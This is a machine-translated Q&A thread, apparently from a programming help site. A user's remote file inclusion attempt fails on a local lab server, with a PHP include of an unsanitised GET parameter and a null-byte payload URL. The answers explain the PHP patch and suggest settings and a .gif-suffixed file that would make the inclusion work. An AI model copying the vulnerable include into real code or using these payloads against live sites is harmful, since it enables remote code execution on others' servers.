web-dev-qa-db-ja.com

PHP nullバイトには、失敗した説明が含まれています

YouTubeで、標準のincludeコマンドを使用してリモートファイルまたはローカルをインクルードする方法についてのチュートリアルを見ています。

これがコードです:

<?php

if(isset($_GET["language"])) {
    $language = $_GET["language"];
    include($language."gif");
}

?>

私はこれをローカルWebサーバー(WAMP)で取得し、チュートリアルで実行するように指示しています。

localhost/inctest/index.php?language=http://www.example.com/badcode.php%00

警告:include():C:\に含める(include_path = '.; C:\ php\pear')の ' http://www.example.com/badcode.php 'を開けませんでした5行目のwamp\www\inctest\index.php

私のPHP.ini:

allow_url_include = On

自分のドメインを削除して、名前をexample.comに変更しました。

私は何を逃したのですか?

3
Daniel

Null Byte Poisoningはかなり古い脆弱性であり、5.3.4 PHPバージョン以降に修正されています。 リリース発表

Paths with NULL in them (foo\0bar.txt) are now considered as invalid (CVE-2006-7243).

PHPバージョンが正しいことが確かな場合は、allow_url_*php.iniで正しく設定されているかどうかを確認するために、パスにNULLバイト文字を含まないリモートリソースを挿入してみてください。

3
p____h

また、php.iniに次のディレクティブを含める必要があると思います:allow_url_fopen1に設定する

これにより、fopenを使用してリモートURLをロードできますが、fopenを使用していないことを考えると、実際には適用できないと思いますが、それでも試してみる価値はあります。

また、register_globalsを試すこともできます。この変数は、URLパラメータを介してスクリプトに任意の変数を挿入できるかどうかを制御します。

[編集]

magic_quotes_gpcをオフにすると、ヌルバイトインジェクションが発生しなくなる可能性があります。

2
DarkMantis

これはリモートファイルに脆弱性が含まれているため、ヌルバイトインジェクションに依存する必要はありません。次のような.gif拡張子を持つ悪意のあるコードを提供するだけです:http://www.example.com/badcode.php.gif

0
wireghoul